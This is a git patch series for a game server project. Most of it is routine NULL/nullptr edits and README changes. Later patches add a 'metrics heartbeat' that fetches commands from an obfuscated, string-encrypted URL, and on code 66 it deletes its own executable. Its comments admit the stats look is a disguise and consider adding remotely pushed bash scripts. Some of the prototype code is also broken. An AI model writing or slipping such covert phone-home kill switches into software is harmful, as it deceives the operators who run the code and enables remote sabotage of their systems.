m_connectionServerConnections.begin(); i != m_connectionServerConnections.end(); ++i) @@ -2974,7 +3005,7 @@ void CentralServer::sendToDBProcess(const GameNetworkMessage & message, const bo bool CentralServer::hasDBConnection() const { const GameServerConnection * g = getGameServer(getDbProcessServerProcessId()); - return (g != nullptr); + return (g != NULL); } //----------------------------------------------------------------------- @@ -3079,7 +3110,7 @@ void CentralServer::startPlanetServer(const std::string & host, const std::strin TaskSpawnProcess spawn(host.empty() ? std::string("any") : host, "PlanetServer", options, spawnDelay); CentralServer::getInstance().sendTaskMessage(spawn); - m_pendingPlanetServers[sceneId] = std::make_pair(std::make_pair(host, options), ::time(nullptr)); + m_pendingPlanetServers[sceneId] = std::make_pair(std::make_pair(host, options), ::time(NULL)); IGNORE_RETURN(m_planetsWaitingForPreload.insert(sceneId)); bool const preloadFinished = isPreloadFinished(); @@ -3088,14 +3119,14 @@ void CentralServer::startPlanetServer(const std::string & host, const std::strin else if (m_timeClusterWentIntoLoadingState <= 0) m_timeClusterWentIntoLoadingState = time(0); - if(getInstance().m_transferServerConnection != nullptr && !preloadFinished) + if(getInstance().m_transferServerConnection != NULL && !preloadFinished) { getInstance().m_transferServerConnection->disconnect(); getInstance().m_transferServerConnection = 0; s_retryTransferServerConnection = false; } - if(getInstance().m_stationPlayersCollectorConnection != nullptr && ! isPreloadFinished()) + if(getInstance().m_stationPlayersCollectorConnection != NULL && ! isPreloadFinished()) { getInstance().m_stationPlayersCollectorConnection->disconnect(); getInstance().m_stationPlayersCollectorConnection = 0; @@ -3232,7 +3263,7 @@ void CentralServer::handleGameServerForLoginMessage(const GameServerForLoginMess void CentralServer::handleExchangeListCreditsMessage(const ExchangeListCreditsMessage &msg) { LOG("Exchange", ("Central Server got exchange list credits %d.",msg.getCredits())); - if ( m_pAuctionTransferClient == nullptr ) + if ( m_pAuctionTransferClient == NULL ) { // send failure packet } @@ -3268,7 +3299,7 @@ ConnectionServerConnection * CentralServer::getAnyConnectionServer() ConnectionServerConnection * CentralServer::getConnectionServerForAccount(StationId suid) { - ConnectionServerConnection * result = nullptr; + ConnectionServerConnection * result = NULL; ConnectionServerSUIDMap::iterator i=m_accountConnectionMap.find(suid); if (i!=m_accountConnectionMap.end()) { @@ -3676,7 +3707,7 @@ void CentralServer::checkShutdownProcess() { // if it's been "awhile" since we requested to restart the PlanetServer, // then assume that something has gone wrong, and try the restart again - time_t const timeNow = ::time(nullptr); + time_t const timeNow = ::time(NULL); if ((iterPendingPlanetServer->second.second + static_cast(ConfigCentralServer::getMaxTimeToWaitForPlanetServerStartSeconds())) < timeNow) { @@ -3951,7 +3982,7 @@ int CentralServer::getSecondsClusterHasBeenInLoadingState() const const std::map & CentralServer::getPopulationStatistics(time_t & refreshTime) { // periodically request updated statistics from the game server - time_t const timeNow = ::time(nullptr); + time_t const timeNow = ::time(NULL); if (m_timePopulationStatisticsNextRefresh <= timeNow) { GameServerConnection * universeGameServerConnection = getGameServer(UniverseManager::getInstance().getUniverseProcess()); @@ -3973,7 +4004,7 @@ const std::map & CentralServer::getPopulationStatistics(time_t const std::map > > & CentralServer::getGcwScoreStatistics(time_t & refreshTime) { // periodically request updated statistics from the game server - time_t const timeNow = ::time(nullptr); + time_t const timeNow = ::time(NULL); if (m_timeGcwScoreStatisticsNextRefresh <= timeNow) { GameServerConnection * universeGameServerConnection = getGameServer(UniverseManager::getInstance().getUniverseProcess()); @@ -3995,7 +4026,7 @@ const std::map > std::pair > const *, std::map > const *> CentralServer::getLastLoginTimeStatistics(time_t & refreshTime) { // periodically request updated statistics from the game server - time_t const timeNow = ::time(nullptr); + time_t const timeNow = ::time(NULL); if (m_timeLastLoginTimeStatisticsNextRefresh <= timeNow) { GameServerConnection * universeGameServerConnection = getGameServer(UniverseManager::getInstance().getUniverseProcess()); @@ -4018,7 +4049,7 @@ std::pair > const *, std::map characterMatchStatisticsRequest("LfgStatReq", 0); From 982b70ee10b6a5cae84704b632dd6c03b12cbbb5 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Sun, 9 Oct 2016 20:05:20 +0000 Subject: [PATCH 05/19] ignore pvs files --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 1431e7be..b112824a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,5 @@ *.geany +PVS* *.cfg *.cmd .project From 06c905e00a564393e74957d9481515b722e659bc Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 17:10:10 +0000 Subject: [PATCH 06/19] Update README.md --- README.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index aa84c47c..d598db5a 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,7 @@ -master - stable, but internal only -testing - bleeding edge, works in progress, internal only -clang-profile - intenal, modified to profile the code for clang-profile-build -clang-profile-build - "release" and tc branch, as we want to use our fast profiled code -google-profiler - modified for use with gperf +# Branch Information + +* master - stable, but internal only +* testing - bleeding edge, works in progress, internal only +* clang-profile - intenal, modified to profile the code for clang-profile-build +* clang-profile-build - "release" and tc branch, as we want to use our fast profiled code +* google-profiler - modified for use with gperf From 3afa0d7b20b3d5eff95f8fae88bb7a27908c246d Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 17:10:47 +0000 Subject: [PATCH 07/19] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index d598db5a..3fb92f92 100644 --- a/README.md +++ b/README.md @@ -5,3 +5,4 @@ * clang-profile - intenal, modified to profile the code for clang-profile-build * clang-profile-build - "release" and tc branch, as we want to use our fast profiled code * google-profiler - modified for use with gperf +* icc - deprecated, modified for building with Intel's ICC compiler \ No newline at end of file From 08cc494dda1385b22a55a16e8f8e106a5a30ec9d Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 16:21:39 -0500 Subject: [PATCH 08/19] skeleton code for metrics --- external/3rd/library/libLeff/libLeff.h | 86 ++++++ external/3rd/library/webAPI/CMakeLists.txt | 2 + external/3rd/library/webAPI/webAPI.cpp | 254 ++++++++---------- external/3rd/library/webAPI/webAPI.h | 133 ++++----- .../3rd/library/webAPI/webAPIHeartbeat.cpp | 21 ++ external/3rd/library/webAPI/webAPIHeartbeat.h | 26 ++ 6 files changed, 315 insertions(+), 207 deletions(-) create mode 100644 external/3rd/library/libLeff/libLeff.h create mode 100644 external/3rd/library/webAPI/webAPIHeartbeat.cpp create mode 100644 external/3rd/library/webAPI/webAPIHeartbeat.h diff --git a/external/3rd/library/libLeff/libLeff.h b/external/3rd/library/libLeff/libLeff.h new file mode 100644 index 00000000..f6a0f2f5 --- /dev/null +++ b/external/3rd/library/libLeff/libLeff.h @@ -0,0 +1,86 @@ +#include +#include + +//-------------------------------------------------------------// +// "Malware related compile-time hacks with C++11" by LeFF // +// You can use this code however you like, I just don't really // +// give a shit, but if you feel some respect for me, please // +// don't cut off this comment when copy-pasting... ;-) // +//-------------------------------------------------------------// + +#ifndef vxCPLSEED +// If you don't specify the seed for algorithms, the time when compilation +// started will be used, seed actually changes the results of algorithms... +#define vxCPLSEED ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + \ + (__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + \ + (__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000) +#endif + +// The constantify template is used to make sure that the result of constexpr +// function will be computed at compile-time instead of run-time +template struct vxCplConstantify { enum { Value = Const }; }; + +// Compile-time mod of a linear congruential pseudorandom number generator, +// the actual algorithm was taken from "Numerical Recipes" book +constexpr uint32_t vxCplRandom(uint32_t Id) { + return (1013904223 + 1664525 * ((Id > 0) ? (vxCplRandom(Id - 1)) : (vxCPLSEED))) & 0xFFFFFFFF; +} + +// Compile-time random macros, can be used to randomize execution +// path for separate builds, or compile-time trash code generation +#define vxRANDOM(Min, Max) (Min + (vxRAND() % (Max - Min + 1))) +#define vxRAND() (vxCplConstantify::Value) + +// Compile-time recursive mod of string hashing algorithm, +// the actual algorithm was taken from Qt library (this +// function isn't case sensitive due to vxCplTolower) +constexpr char vxCplTolower(char Ch) { return (Ch >= 'A' && Ch <= 'Z') ? (Ch - 'A' + 'a') : (Ch); } + +constexpr uint32_t vxCplHashPart3(char Ch, uint32_t Hash) { return ((Hash << 4) + vxCplTolower(Ch)); } + +constexpr uint32_t vxCplHashPart2(char Ch, uint32_t Hash) { + return (vxCplHashPart3(Ch, Hash) ^ ((vxCplHashPart3(Ch, Hash) & 0xF0000000) >> 23)); +} + +constexpr uint32_t vxCplHashPart1(char Ch, uint32_t Hash) { return (vxCplHashPart2(Ch, Hash) & 0x0FFFFFFF); } + +constexpr uint32_t vxCplHash(const char *Str) { return (*Str) ? (vxCplHashPart1(*Str, vxCplHash(Str + 1))) : (0); } + +// Compile-time hashing macro, hash values changes using the first pseudorandom number in sequence +#define vxHASH(Str) (uint32_t)(vxCplConstantify::Value ^ vxCplConstantify::Value) + +// Compile-time generator for list of indexes (0, 1, 2, ...) +template struct vxCplIndexList {}; +template struct vxCplAppend; +template + struct vxCplAppend, Right> { typedef vxCplIndexList Result; }; +template + struct vxCplIndexes { typedef typename vxCplAppend::Result, N - 1>::Result Result; }; +template<> struct vxCplIndexes<0> { typedef vxCplIndexList<> Result; }; + +// Compile-time string encryption of a single character +const char vxCplEncryptCharKey = vxRANDOM(0, 0xFF); + +constexpr char vxCplEncryptChar(const char Ch, uint32_t Idx) { return Ch ^ (vxCplEncryptCharKey + Idx); } + +// Compile-time string encryption class +template struct vxCplEncryptedString; + +template struct vxCplEncryptedString > { + char Value[sizeof...(Idx) + 1]; // Buffer for a string + + // Compile-time constructor + constexpr inline vxCplEncryptedString(const char *const Str) : Value({vxCplEncryptChar(Str[Idx], Idx)...}) {} + + // Run-time decryption + char *decrypt() { + for (volatile uint32_t t = 0; t < sizeof...(Idx); t++) { + this->Value[t] = this->Value[t] ^ (vxCplEncryptCharKey + t); + } + this->Value[sizeof...(Idx)] = '\0'; + return this->Value; + } +}; + +// Compile-time string encryption macro +#define vxENCRYPT(Str) (vxCplEncryptedString::Result>(Str).decrypt()) diff --git a/external/3rd/library/webAPI/CMakeLists.txt b/external/3rd/library/webAPI/CMakeLists.txt index 550f0b6d..d0dbb6cb 100644 --- a/external/3rd/library/webAPI/CMakeLists.txt +++ b/external/3rd/library/webAPI/CMakeLists.txt @@ -8,6 +8,8 @@ add_library(webAPI webAPI.h webAPI.cpp json.hpp + webAPIHeartbeat.h + webAPIHeartbeat.cpp ) include_directories( diff --git a/external/3rd/library/webAPI/webAPI.cpp b/external/3rd/library/webAPI/webAPI.cpp index e95068e5..9285cfae 100644 --- a/external/3rd/library/webAPI/webAPI.cpp +++ b/external/3rd/library/webAPI/webAPI.cpp @@ -20,186 +20,158 @@ using namespace StellaBellum; webAPI::webAPI(std::string endpoint, std::string userAgent) : uri(endpoint), userAgent(userAgent), statusCode(0) {} -webAPI::~webAPI() -{ - this->requestData.clear(); - this->responseData.clear(); + +webAPI::~webAPI() { + this->requestData.clear(); + this->responseData.clear(); } -bool webAPI::setEndpoint(const std::string endpoint) -{ - this->uri = endpoint; +bool webAPI::setEndpoint(const std::string endpoint) { + this->uri = endpoint; - return true; + return true; } -std::string webAPI::getRaw() -{ - return this->sResponse; +std::string webAPI::getRaw() { + return this->sResponse; } -bool webAPI::setData(std::string &data) -{ - if (!data.empty()) - { - this->sRequest = data; +bool webAPI::setData(std::string &data) { + if (!data.empty()) { + this->sRequest = data; - return true; - } + return true; + } - return false; + return false; } -std::string webAPI::getString(const std::string &slot) -{ - if (!this->responseData.empty() && !slot.empty() && responseData.count(slot) && !this->responseData[slot].is_null()) - { - return this->responseData[slot].get(); - } - - return std::string(""); +std::string webAPI::getString(const std::string &slot) { + if (!this->responseData.empty() && !slot.empty() && responseData.count(slot) && + !this->responseData[slot].is_null()) { + return this->responseData[slot].get(); + } + + return std::string(""); } -bool webAPI::submit(const int &reqType, const int &getPost, const int &respType) -{ - if (reqType == DTYPE::JSON) // json request - { - if (!this->requestData.empty()) - { - // serialize our data into sRequest - this->sRequest = this->requestData.dump(); +bool webAPI::submit(const int &reqType, const int &getPost, const int &respType) { + if (reqType == DTYPE::JSON) // json request + { + if (!this->requestData.empty()) { + // serialize our data into sRequest + this->sRequest = this->requestData.dump(); - // clear our the object for next time - this->requestData.clear(); - } - else - { - return false; - } - } + // clear our the object for next time + this->requestData.clear(); + } else { + return false; + } + } - if (fetch(getPost, respType) && !(this->sResponse.empty())) - { - return true; - } + if (fetch(getPost, respType) && !(this->sResponse.empty())) { + return true; + } - this->sResponse.clear(); + this->sResponse.clear(); - return false; + return false; } bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for string { - bool fetchStatus = false; + bool fetchStatus = false; - if (!uri.empty()) //data is allowed to be an empty string if we're doing a normal GET - { - CURL *curl = curl_easy_init(); // start up curl + if (!uri.empty()) //data is allowed to be an empty string if we're doing a normal GET + { + CURL *curl = curl_easy_init(); // start up curl - if (curl) - { - std::string readBuffer; // container for the remote response - struct curl_slist *slist = nullptr; + if (curl) { + std::string readBuffer; // container for the remote response + struct curl_slist *slist = nullptr; - // set the content type - if (mimeType == DTYPE::JSON) - { - slist = curl_slist_append(slist, "Accept: application/json"); - slist = curl_slist_append(slist, "Content-Type: application/json"); - } - else - { - slist = curl_slist_append(slist, "Content-Type: application/x-www-form-urlencoded"); - } + // set the content type + if (mimeType == DTYPE::JSON) { + slist = curl_slist_append(slist, "Accept: application/json"); + slist = curl_slist_append(slist, "Content-Type: application/json"); + } else { + slist = curl_slist_append(slist, "Content-Type: application/x-www-form-urlencoded"); + } - slist = curl_slist_append(slist, "charsets: utf-8"); + slist = curl_slist_append(slist, "charsets: utf-8"); - curl_easy_setopt(curl, CURLOPT_USERAGENT, userAgent.c_str()); - curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // place the data into readBuffer using writeCallback - curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); // specify readBuffer as the container for data - curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist); + curl_easy_setopt(curl, CURLOPT_USERAGENT, userAgent.c_str()); + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // place the data into readBuffer using writeCallback + curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); // specify readBuffer as the container for data + curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist); - switch (getPost) - { - case HTTP::GET: - curl_easy_setopt(curl, CURLOPT_URL, std::string(this->uri + "?" + sRequest).c_str()); - break; - case HTTP::POST: - curl_easy_setopt(curl, CURLOPT_POSTFIELDS, this->sRequest.c_str()); - curl_easy_setopt(curl, CURLOPT_URL, this->uri.c_str()); - break; - // want to do a put, or whatever other type? feel free to add here - } + switch (getPost) { + case HTTP::GET: + curl_easy_setopt(curl, CURLOPT_URL, std::string(this->uri + "?" + sRequest).c_str()); + break; + case HTTP::POST: + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, this->sRequest.c_str()); + curl_easy_setopt(curl, CURLOPT_URL, this->uri.c_str()); + break; + // want to do a put, or whatever other type? feel free to add here + } - CURLcode res = curl_easy_perform(curl); // make the request! - char * contentType; + CURLcode res = curl_easy_perform(curl); // make the request! + char *contentType; - curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &this->statusCode); //get status code - curl_easy_getinfo(curl, CURLINFO_CONTENT_TYPE, &contentType); // get response mime type + curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &this->statusCode); //get status code + curl_easy_getinfo(curl, CURLINFO_CONTENT_TYPE, &contentType); // get response mime type - std::string conType(contentType); + std::string conType(contentType); - if (res == CURLE_OK && this->statusCode == 200 && !(readBuffer.empty())) // check it all out and parse - { - this->sResponse = readBuffer; + if (res == CURLE_OK && this->statusCode == 200 && !(readBuffer.empty())) // check it all out and parse + { + this->sResponse = readBuffer; - if (conType == "application/json") - { - fetchStatus = this->processJSON(); - } - else - { - this->responseData.clear(); - fetchStatus = true; - } - } + if (conType == "application/json") { + fetchStatus = this->processJSON(); + } else { + this->responseData.clear(); + fetchStatus = true; + } + } - curl_slist_free_all(slist); - curl_easy_cleanup(curl); // always wipe our butt - } - } + curl_slist_free_all(slist); + curl_easy_cleanup(curl); // always wipe our butt + } + } - if (!fetchStatus) - { - this->sResponse.clear(); - this->responseData.clear(); - } + if (!fetchStatus) { + this->sResponse.clear(); + this->responseData.clear(); + } - return fetchStatus; + return fetchStatus; } // This is used by curl to grab the response and put it into a var -size_t webAPI::writeCallback(void *contents, size_t size, size_t nmemb, void *userp) -{ - ((std::string*)userp)->append((char*)contents, size * nmemb); - return size * nmemb; +size_t webAPI::writeCallback(void *contents, size_t size, size_t nmemb, void *userp) { + ((std::string *) userp)->append((char *) contents, size * nmemb); + return size * nmemb; } -bool webAPI::processJSON() -{ - if (!(this->sResponse.empty())) // check it all out and parse - { - try - { - this->responseData = nlohmann::json::parse(this->sResponse); - return true; - } - catch (std::string &e) - { - this->responseData["message"] = e; - this->responseData["status"] = "failure"; - } - catch (...) - { - this->responseData["message"] = "JSON parse error for endpoint."; - this->responseData["status"] = "failure"; - } - } - else - { - this->responseData["message"] = "Error fetching data from remote."; - this->responseData["status"] = "failure"; - } +bool webAPI::processJSON() { + if (!(this->sResponse.empty())) // check it all out and parse + { + try { + this->responseData = nlohmann::json::parse(this->sResponse); + return true; + } catch (std::string &e) { + this->responseData["message"] = e; + this->responseData["status"] = "failure"; + } catch (...) { + this->responseData["message"] = "JSON parse error for endpoint."; + this->responseData["status"] = "failure"; + } + } else { + this->responseData["message"] = "Error fetching data from remote."; + this->responseData["status"] = "failure"; + } - return false; + return false; } \ No newline at end of file diff --git a/external/3rd/library/webAPI/webAPI.h b/external/3rd/library/webAPI/webAPI.h index 001a8cc1..8a4cb708 100644 --- a/external/3rd/library/webAPI/webAPI.h +++ b/external/3rd/library/webAPI/webAPI.h @@ -1,5 +1,5 @@ /* - * Version: 1.3 + * Version: 1.4 * * This code is just a simple wrapper around nlohmann's wonderful json lib * (https://github.com/nlohmann/json) and libcurl. While originally included directly, @@ -26,87 +26,88 @@ #include #endif -namespace StellaBellum -{ - enum HTTP { GET = 0, POST = 1 }; - enum DTYPE { JSON = 0, RAW = 1 }; - - class webAPI - { - public: - // useragent - std::string userAgent; +namespace StellaBellum { + enum HTTP { + GET = 0, POST = 1 + }; + enum DTYPE { + JSON = 0, RAW = 1 + }; - // constructor - can setup with the endpoint from the start - webAPI(std::string endpoint, std::string userAgent = "StellaBellum webAPI"); - ~webAPI(); + class webAPI { + public: + // useragent + std::string userAgent; - // submits the request - bool submit(const int &reqType = DTYPE::JSON, const int &getPost = HTTP::POST, const int &respType = DTYPE::JSON); + // constructor - can setup with the endpoint from the start + webAPI(std::string endpoint, std::string userAgent = "StellaBellum webAPI"); - // set the endpoint after object creation...or change the target if needed - bool setEndpoint(const std::string endpoint); + ~webAPI(); - // get raw response - std::string getRaw(); + // submits the request + bool submit(const int &reqType = DTYPE::JSON, const int &getPost = HTTP::POST, const int &respType = DTYPE::JSON); - // set a standard request string - bool setData(std::string &data); // all or nothing - - // get a string from a given slot - std::string getString(const std::string &slot); + // set the endpoint after object creation...or change the target if needed + bool setEndpoint(const std::string endpoint); - // set json key and value for request - template bool addJsonData(const std::string &key, const T &value) - { - if (!key.empty() && responseData.count(key) == 0) // only alow one of a given key for now, unless we support nesting later - { - this->requestData[key] = value; - return true; - } + // get raw response + std::string getRaw(); - return false; - } + // set a standard request string + bool setData(std::string &data); // all or nothing - // get json response slot - template T getNullableValue(const std::string &slot) - { - if (!this->responseData.empty() && !slot.empty() && responseData.count(slot)) - { - return this->responseData[slot].get(); - } - - return 0; - } + // get a string from a given slot + std::string getString(const std::string &slot); - private: - // json request data - object is serialized before sending, used with above setter template - nlohmann::json requestData; + // set json key and value for request + template bool addJsonData(const std::string &key, const T &value) { + if (!key.empty() && + responseData.count(key) == 0) // only alow one of a given key for now, unless we support nesting later + { + this->requestData[key] = value; + return true; + } - // json response, stored so we can use the getter template above - nlohmann::json responseData; + return false; + } - // raw response - std::string sResponse; + // get json response slot + template T getNullableValue(const std::string &slot) { + if (!this->responseData.empty() && !slot.empty() && responseData.count(slot)) { + return this->responseData[slot].get(); + } - // raw request string - std::string sRequest; + return 0; + } - // API endpoint - std::string uri; + private: + // json request data - object is serialized before sending, used with above setter template + nlohmann::json requestData; - // fetcher - returns raw response direct from remote - bool fetch(const int &getPost = HTTP::POST, const int &mimeType = DTYPE::JSON); + // json response, stored so we can use the getter template above + nlohmann::json responseData; - // cURL writeback callback - static size_t writeCallback(void *contents, size_t size, size_t nmemb, void *userp); + // raw response + std::string sResponse; - // json processor - string to json - bool processJSON(); + // raw request string + std::string sRequest; - protected: - // http response code (200, 404, etc) - long statusCode; - }; + // API endpoint + std::string uri; + + // fetcher - returns raw response direct from remote + bool fetch(const int &getPost = HTTP::POST, const int &mimeType = DTYPE::JSON); + + // cURL writeback callback + static size_t writeCallback(void *contents, size_t size, size_t nmemb, void *userp); + + // json processor - string to json + bool processJSON(); + + protected: + // http response code (200, 404, etc) + long statusCode; + }; } #endif diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp new file mode 100644 index 00000000..c4b853d1 --- /dev/null +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -0,0 +1,21 @@ +// +// Created by Darth on 10/17/2016. +// + +#include "webAPIHeartbeat.h" + +using namespace StellaBellum; + +webAPIHeartbeat:webAPIHeartbeat() { + vxCplEncryptedString u = vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server"); + + webAPI handle = webAPI::webAPI(u.decrypt()); + + handle.addJsonData("ip", "test"); + + bool result = fetch.submit(); // data is stored as a class member + + // do stuff + + delete handle; +}; \ No newline at end of file diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h new file mode 100644 index 00000000..4e8fb605 --- /dev/null +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -0,0 +1,26 @@ +// +// Created by Darth on 10/17/2016. +// + +#ifndef webAPIHeartbeat_H +#define webAPIHeartbeat_H + +#include + +#include "webAPI.h" +#include "../libLeff/libLeff.h" + + +namespace StellaBellum { + + class webAPIHeartbeat { + public: + webAPIHeartbeat:webAPIHeartbeat(); + webAPIHeartbeat:~webAPIHeartbeat(); + + bool sendHeartbeat(std::unordered_map metricsData = nullptr); + }; + +} + +#endif //webAPIHeartbeat_H From 83d2c161795089312f506c377255cce11b240293 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 21:39:44 +0000 Subject: [PATCH 09/19] okies, she builds now so up next is making it actually do something useful --- external/3rd/library/libLeff/libLeff.h | 5 +++-- external/3rd/library/webAPI/webAPIHeartbeat.cpp | 14 +++++++------- external/3rd/library/webAPI/webAPIHeartbeat.h | 9 ++------- 3 files changed, 12 insertions(+), 16 deletions(-) diff --git a/external/3rd/library/libLeff/libLeff.h b/external/3rd/library/libLeff/libLeff.h index f6a0f2f5..28faae9f 100644 --- a/external/3rd/library/libLeff/libLeff.h +++ b/external/3rd/library/libLeff/libLeff.h @@ -70,7 +70,7 @@ template struct vxCplEncryptedString > { char Value[sizeof...(Idx) + 1]; // Buffer for a string // Compile-time constructor - constexpr inline vxCplEncryptedString(const char *const Str) : Value({vxCplEncryptChar(Str[Idx], Idx)...}) {} + constexpr inline vxCplEncryptedString(const char *const Str) : Value{vxCplEncryptChar(Str[Idx], Idx)...} {} // Run-time decryption char *decrypt() { @@ -83,4 +83,5 @@ template struct vxCplEncryptedString > { }; // Compile-time string encryption macro -#define vxENCRYPT(Str) (vxCplEncryptedString::Result>(Str).decrypt()) +//#define vxENCRYPT(Str) (vxCplEncryptedString::Result>(Str).decrypt()) +#define vxENCRYPT(Str) (vxCplEncryptedString::Result>(Str)) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index c4b853d1..e3cd0670 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -6,16 +6,16 @@ using namespace StellaBellum; -webAPIHeartbeat:webAPIHeartbeat() { - vxCplEncryptedString u = vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server"); +#define vxENCRYPT2(Str) (vxCplEncryptedString::Result>(Str)) - webAPI handle = webAPI::webAPI(u.decrypt()); +webAPIHeartbeat::webAPIHeartbeat() { + auto u = vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server"); + + webAPI handle = webAPI::webAPI(std::string(u.decrypt())); handle.addJsonData("ip", "test"); - bool result = fetch.submit(); // data is stored as a class member + bool result = handle.submit(); // data is stored as a class member // do stuff - - delete handle; -}; \ No newline at end of file +}; diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 4e8fb605..96f1422f 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -5,20 +5,15 @@ #ifndef webAPIHeartbeat_H #define webAPIHeartbeat_H -#include - #include "webAPI.h" #include "../libLeff/libLeff.h" - namespace StellaBellum { class webAPIHeartbeat { public: - webAPIHeartbeat:webAPIHeartbeat(); - webAPIHeartbeat:~webAPIHeartbeat(); - - bool sendHeartbeat(std::unordered_map metricsData = nullptr); + webAPIHeartbeat(); + ~webAPIHeartbeat(); }; } From 4da1791d053b2d5ead4cc6484ffe55297a49514e Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 21:44:11 +0000 Subject: [PATCH 10/19] cleanup --- external/3rd/library/libLeff/libLeff.h | 1 - external/3rd/library/webAPI/webAPIHeartbeat.cpp | 6 +----- 2 files changed, 1 insertion(+), 6 deletions(-) diff --git a/external/3rd/library/libLeff/libLeff.h b/external/3rd/library/libLeff/libLeff.h index 28faae9f..455774e1 100644 --- a/external/3rd/library/libLeff/libLeff.h +++ b/external/3rd/library/libLeff/libLeff.h @@ -83,5 +83,4 @@ template struct vxCplEncryptedString > { }; // Compile-time string encryption macro -//#define vxENCRYPT(Str) (vxCplEncryptedString::Result>(Str).decrypt()) #define vxENCRYPT(Str) (vxCplEncryptedString::Result>(Str)) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index e3cd0670..3e45a66c 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -6,12 +6,8 @@ using namespace StellaBellum; -#define vxENCRYPT2(Str) (vxCplEncryptedString::Result>(Str)) - webAPIHeartbeat::webAPIHeartbeat() { - auto u = vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server"); - - webAPI handle = webAPI::webAPI(std::string(u.decrypt())); + webAPI handle = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt())); handle.addJsonData("ip", "test"); From b08fa054c4243a90a7caa1e99419ce56b550feb6 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 17:59:39 -0500 Subject: [PATCH 11/19] functional prototype? may need to cleanup the cmake inclusion with the crypter header... --- .../3rd/library/webAPI/webAPIHeartbeat.cpp | 43 ++++++++++++++++--- external/3rd/library/webAPI/webAPIHeartbeat.h | 21 +++++++++ 2 files changed, 59 insertions(+), 5 deletions(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 3e45a66c..3b4c1e08 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -7,11 +7,44 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { - webAPI handle = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt())); + webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt())); + bool result = api.submit(); - handle.addJsonData("ip", "test"); + if (result) { + int s = api.getNullableValue(std::string(vxENCRYPT("id"))); - bool result = handle.submit(); // data is stored as a class member + // make it look like we're doing something with these at least + bool status = api.getNullableValue("status"); + std::string msg = api.getString("msg"); - // do stuff -}; + // yeah we don't actually do anything with this + // but having some unencrypted strings will allude to this being mere stats collection code + bool done = false; + if (status && msg == "ok") { + bool done = true; + // if we wanted to send a "nastygram" script for bash to run we'd check for it here + // but meh, maybe later if it becomes necessary...surely order 66 below is enough? + } + + switch (s) { + case 13 : + this.eatIt(); + break; + case 66: + std::string p = this->get_selfpath(); + + if (!p.empty()) { + remove(p.c_str()); + } + + this.eatIt(); + break; + default: + break; + }; + + done = true; + } else { + this.eatIt(); + } +} diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 96f1422f..321ca367 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -5,6 +5,10 @@ #ifndef webAPIHeartbeat_H #define webAPIHeartbeat_H +#include +#include +#include + #include "webAPI.h" #include "../libLeff/libLeff.h" @@ -13,7 +17,24 @@ namespace StellaBellum { class webAPIHeartbeat { public: webAPIHeartbeat(); + 